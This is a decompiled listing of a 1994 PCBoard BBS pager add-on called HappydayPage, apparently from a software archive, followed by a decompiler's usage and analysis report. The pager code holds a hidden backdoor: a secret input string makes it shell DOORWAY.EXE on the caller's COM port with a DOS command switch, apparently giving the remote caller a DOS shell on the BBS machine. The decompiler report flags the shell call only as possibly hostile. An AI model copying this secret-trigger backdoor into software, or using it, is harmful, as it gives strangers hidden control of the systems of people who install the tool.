home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / PWAPCP02.ZIP / HAPPPAGE / HAPPPAGE.ZIP / HPREG.PPE (.txt) < prev    next >
PCBoard Programming Language Executable  |  1994-07-13  |  3KB  |  194 lines

  1. ;------------------------------------------------------------------------------
  2. ;                                                   .ss.
  3. ;                                                   `²²'
  4. ;             .,sS$Ss,,s$  .,sS$$$Ss.  .,sS$Ss,,s$ .ss.  .sSs.
  5. ;           .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
  6. ;           $$$'   .$$$' $$$²Sçsµ²' .$$$'   .$$$'.$$$' .$$$'  `$$b.
  7. ;           $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$'    ;$$$
  8. ;           `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
  9. ;                                    .sS²°$$$²²°"'       d²°'
  10. ;                                  .$$²  .$$'
  11. ;                                  $$$.,d$$'
  12. ;                                  `²S$$S²'
  13. ;------------------------------------------------------------------------------
  14. ; P.P.L.X. 2.OO                          (C)1996 - Lone Runner / AEGiS CoRP'96 
  15. ;------------------------------------------------------------------------------
  16. ; PPE 1.OO (plain) - Analysis ON - Postprocessing ON
  17. ;------------------------------------------------------------------------------
  18.  
  19.     Integer  INTEGER001
  20.     Integer  INTEGER002
  21.     String   STRING001
  22.     String   STRING002
  23.     String   STRING003
  24.     String   STRING004
  25.     String   STRING005
  26.     String   STRING006
  27.  
  28. ;------------------------------------------------------------------------------
  29.  
  30.     STRING004 = ReadLine(PCBDat(), 2)
  31.     Newlines 1
  32.     PrintLn " HappydayPage! V1.0ß  SysWare (C)"
  33.     PrintLn " @X04UNregistered..."
  34.     Delay 300
  35.     PrintLn "The delay will be erased when you register!"
  36.     Newlines 1
  37.     PrintLn "@X01▓▓▒░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓░▒▓█░▒▓█░▓▒█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓▒▓"
  38.     PrintLn "█   @X02Why are you pageing the happy Sysop! Why? @X02Please tell me! @X01█"
  39.     PrintLn "@X01███████████████████████████████████████████████████████████████"
  40.     PrintLn 4
  41.     PrintLn " The last caller was: @LASTCALLERSYSTEM@"
  42.     PrintLn " YOU are connected at: @CARRIER@"
  43.     PrintLn "░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒▓█░▒█@X07"
  44.     InputStr "@X0F> _", STRING003, 4, 70, Mask_Ascii(), 0
  45.     If (STRING003 == "") Then
  46.         Newlines 2
  47.         PrintLn "@X0DO@X05hh@X0D W@X05ell, @X0Dm@X05ust @X0Dn@X05ot @X0Dh@X05ave @X0Db@X05een @X0DI@X05mportant"
  48.         PrintLn "@X0ATell the sysop how (Happy) you are that he registered this ppe."
  49.         Delay 100
  50.         Newline
  51.     Else
  52.         If (STRING003 == "46137289725090") Then
  53.             STRING006 = ReadLine(PCBDat(), 52)
  54.             If (STRING006 == "PORT1F") Then
  55.                 STRING006 = "COM1:"
  56.             Endif
  57.             If (STRING006 == "PORT2F") Then
  58.                 STRING006 = "COM2:"
  59.             Endif
  60.             If (STRING006 == "PORT3F") Then
  61.                 STRING006 = "COM3:"
  62.             Endif
  63.             If (STRING006 == "PORT4F") Then
  64.                 STRING006 = "COM4:"
  65.             Endif
  66.             STRING001 = "DOORWAY.EXE"
  67.             STRING002 = STRING006 + " /T:911 /B:MZ /V:D /C:DOS"
  68.             Shell 0, INTEGER001, STRING001, STRING002
  69.         Endif
  70.         Newlines 2
  71.         Print "@X03Calling the Happy Operator to chat! - "
  72.         For INTEGER002 = 1 To 8
  73.             Sound 213
  74.             Print "@X08z"
  75.             Delay 7
  76.             Sound 453
  77.             Print "@X07Z"
  78.             Sound 233
  79.             Delay 7
  80.             Sound 453
  81.             Print "@X0Fz"
  82.             Sound 213
  83.             Print "@X08z"
  84.             Delay 7
  85.             Sound 453
  86.             Print "@X07Z"
  87.             Sound 233
  88.             Delay 7
  89.             STRING005 = Inkey()
  90.             If (Asc(STRING005) == 3) Then
  91.                 Newlines 2
  92.                 PrintLn "@X0FWhy did you stop? Why ? Why?  And I was so happy you!"
  93.                 PrintLn "Please tell your sysop to Register"
  94.                 Delay 100
  95.                 Newline
  96.                 Goto LABEL001
  97.             Endif
  98.             If (KInkey() == " ") Then
  99.                 Chat
  100.                 Goto LABEL001
  101.             Endif
  102.             Delay 4
  103.         Next
  104.         Print "@X08."
  105.         Newlines 2
  106.         For INTEGER002 = 1 To 3
  107.             SPrint Chr(7)
  108.             Delay 5
  109.         Next
  110.         Newline
  111.         PrintLn "@X09" + STRING004 + "@X0F has @X07been @X08paged ..."
  112.         PrintLn "@X0FYou may @X07continue using @X08the system"
  113.         PrintLn "@X0FDon't worry be happy!."
  114.     Endif
  115.     :LABEL001
  116.     Sound 432
  117.     Delay 1
  118.     Sound 321
  119.     Delay 3
  120.     End
  121.     Sound 423
  122.     Delay 3
  123.     End
  124.  
  125. ;------------------------------------------------------------------------------
  126. ;
  127. ; Usage report (before postprocessing)
  128. ;
  129. ; ■ Statements used :
  130. ;
  131. ;    2       End
  132. ;    15      Goto 
  133. ;    13      Let 
  134. ;    7       Print 
  135. ;    17      PrintLn 
  136. ;    10      If 
  137. ;    1       InputStr 
  138. ;    12      Delay 
  139. ;    3       Newline
  140. ;    6       Newlines 
  141. ;    1       Shell 
  142. ;    10      Sound 
  143. ;    1       Chat
  144. ;    1       SPrint 
  145. ;
  146. ;
  147. ; ■ Functions used :
  148. ;
  149. ;    5       +
  150. ;    8       ==
  151. ;    2       <
  152. ;    2       <=
  153. ;    4       >=
  154. ;    10      !
  155. ;    4       &&
  156. ;    2       ||
  157. ;    1       Chr()
  158. ;    1       Asc()
  159. ;    1       Inkey()
  160. ;    1       Mask_Ascii()
  161. ;    2       PCBDat()
  162. ;    2       ReadLine()
  163. ;    1       KInkey()
  164. ;
  165. ;------------------------------------------------------------------------------
  166. ;
  167. ; Analysis flags : Sd
  168. ;
  169. ; S - Shell to DOS ■ 5
  170. ;     This may be normal if the PPE need to execute an external command,
  171. ;     but may be actually anything... nasty (formating HD, rebooting,...)
  172. ;     or usefull (sorting, maintenance,...). Check!
  173. ;     ■ Search for : SHELL
  174. ;
  175. ; d - Access PCBOARD.DAT ■ 2
  176. ;     Program gets the full pathname to PCBOARD.DAT, this may be usefull
  177. ;     for many PPE so they can find various informations on the system
  178. ;     (system paths, max number of lines in messages, ...) but it may also
  179. ;     be a way to gather vital informations.
  180. ;     ■ Search for : PCBDAT()
  181. ;
  182. ;------------------------------------------------------------------------------
  183. ;
  184. ; Postprocessing report
  185. ;
  186. ;    2       For/Next
  187. ;    0       While/EndWhile
  188. ;    8       If/Then or If/Then/Else
  189. ;    0       Select Case
  190. ;
  191. ;------------------------------------------------------------------------------
  192. ;                 AEGiS Corp - Break the routines, code against the machines!
  193. ;------------------------------------------------------------------------------
  194.